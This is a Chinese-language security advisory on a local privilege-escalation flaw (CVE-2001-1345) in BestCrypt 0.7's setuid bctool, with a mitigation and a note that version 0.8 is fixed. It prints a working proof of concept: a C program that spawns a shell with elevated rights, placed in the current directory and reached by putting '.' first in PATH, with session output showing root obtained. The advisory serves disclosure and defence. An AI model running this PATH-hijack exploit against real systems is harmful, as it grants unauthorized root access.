BestCrypt bctool 可执行任意特权程序
发布日期:2001-06-05
更新日期:2001-06-11
受影响系统:
Jetico BestCrypt 0.7
不受影响系统:
Jetico BestCrypt 0.8
描述:
BUGTRAQ ID: 2820
CVE(CAN) ID:
CVE-2001-1345
BestCrypt是一个加密产品,允许用户创建加密子系统。
它的Unix版本中所带的一个命令行工具'bctool'存在一个安全问题。当针对不同的文件
系统类型进行fsck操作时,bctool依赖PATH变量来定位相应的可执行程序。
攻击者可以通过修改PATH变量来诱使bctool工具执行任意命令,并获取root权限。
<*来源:Joel Eriksson (
je@utilator.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Joel Eriksson (
je@utilator.com)提供了如下测试代码:
[je@seth ~]$ id
uid=502(je) gid=505(je)
[je@seth ~]$ bctool new fscktest -s 1k -a des
Enter password: fscktest
Verify password: fscktest
[je@seth ~]$ cat > fsck.foo.c
#include <unistd.h>
#include <stdio.h>
int main(void)
{
setuid(geteuid());
execl("/bin/bash", "-bash", NULL);
return 1; /* this should not be reached */
}
^D
[je@seth ~]$ gcc -o fsck.foo fsck.foo.c
[je@seth ~]$ export PATH=.:$PATH
[je@seth ~]$ bctool fsck -t foo fscktest
Enter password: fscktest
Parallelizing fsck version 1.19 (13-Jul-2000)
[./fsck.foo -- /dev/bcrypt1] fsck.foo /dev/bcrypt1
bash-2.05# id
uid=0(root) gid=505(je)
bash-2.05# exit
[je@seth ~]$ ln -s fsck.foo mkfs.foo
[je@seth ~]$ bctool format fscktest -t foo
Enter password: fscktest
bash-2.05# id
uid=0(root) gid=505(je)
bash-2.05#
建议:
NSFOCUS建议您暂时去掉bctool的suid属性:
# chmod a-s `which bctool`
厂商补丁:
Jetico BestCrypt 0.8已经修复了此漏洞。
我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.jetico.com/
浏览次数:3842
严重程度:0(网友投票)